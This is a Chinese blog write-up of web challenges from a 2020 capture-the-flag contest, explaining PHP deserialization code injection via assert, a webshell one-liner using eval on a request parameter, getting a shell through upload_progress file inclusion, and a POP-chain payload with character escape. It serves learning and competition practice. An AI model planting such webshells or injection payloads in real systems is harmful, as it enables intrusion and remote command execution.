NPUCTF 4.18-4.21
很真实的运维赛,【滑稽
web题好难。好吧是我太菜啦
就写出来两道题目。。
审查源码
F5 鼠标右键不行
直接view-source:url
就行了
甚至你还可以抓包来看。
[NPUCTF2020]ReadlezPHP
这道题目有点坑。不过也确实学到了东西
考点: 代码注入 反序列化
查看源码知道
那么我们打开看到源码:
1 |
|
很明显的反序列化执行。这里的构造函数__construce()
在反序列化的时候是不会执行的,所以不必担心。
那么下面就是代码注入的环节了。我发现他禁掉了好多的函数。
最后测试出来使用 assert
来进行代码注入。
先利用assert("phpinfo();");
来看看被禁掉了哪些函数
确实 大多数的执行系统命令的函数都被过滤了。。
按照惯例,先看下目录。 这里不能使用系统命令。所以我们使用scandir
函数
查看文件内容,除了系统命令,那就直接file_get_contents()
来进行
结果查出来的是个假的flag。真的无聊。
然后我还翻遍大部分的文件。。
最后想着有没有可能在phpinfo中有。然后查询一下。。。果然
小tips:flag有可能会在phpinfo中,以后找到可以先查查看看。
方法二
看了天璇的wp
发现可以写马进去
具体利用方法
1 | file_put_contents("eki.php", "<?php eval(\$_REQUEST[\'cmd\']); ?>") |
但是eval
被禁止了呀。然而蚁剑的插件似乎可以绕过disabled_function
https://www.anquanke.com/post/id/195686?from=timeline
ezinclude
这是一位师傅的wp
不太懂。。 我得去学学hash扩展攻击
第一层又双叒叕是一个hash拓展攻击,没有长度就爆破一下
利用 upload_progress
1 | import requests |
跳到
1 | flflflflag.php |
可以文件包含
这里是用 upload_progress
来写shell,然后包含
然后包含/tmp/m0on getshell,好像flag又是在phpinfo里面,根目录的是假的
flag:
flag{6b671cf1-9558-47f6-9cd2-46ff8e32a3e9}
安恒的 Ezunserialize
一进去,直接源码:
1 |
|
那么思路挺清楚的。A类一开始赋值。之后序列化A类,再反序列化A类。
那么就应该是 在赋值A类的时候,是字符串。在反序列化的时候,把字符串返回来的时候也要把B类给反序列化出来。
可是序列化A类之后的字符串是:
1 | string(116) "O:1:"A":2:{s:8:"username";s:2:"li";s:8:"password";s:57:";}O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}} "%00;}" |
他这里 我们在GET参数进去的时候就已经确定了自己是字符串。
那么在序列化的时候,也确实两者是字符串。
所以我们的目的是改变他认为这个是字符串!!
按照颖奇师傅的wp
我们要这么构造pop链
1 | $a = new A(); |
这样之后就可以得到序列化后的字符串
即是:O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
分解一下看一下:
1 | O:1:"A":2:{ 头类 |
但是我们输入的时候会被默认字符串 也就是说 不能被解析为类! 这咋办呢?
字符逃逸d
这里的字符逃逸是怎么回事呢?
看看write和read的代码先:
1 | //写函数 |
这里我们看看\0\0\0
和另外一个的字符长度!
1 | string(6) "\0\0\0" |
这里说 前者占6个字符的位置,后者占3个字符的位置。
那么这就是字符逃逸了呀!
借用颖奇师傅的wp用一下
那么我们的大致思路就有了。利用read函数把6个字符减半的特点。
我们可以实现反序列化字符逃逸。
真的牛逼。服气了,我当时根本没有理会那两个函数。。
- 本文标题:NPUCTF-WP
- 创建时间:2020-04-24 17:06:51
- 本文链接:2020/04/24/四月/NPUCTF-WP/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!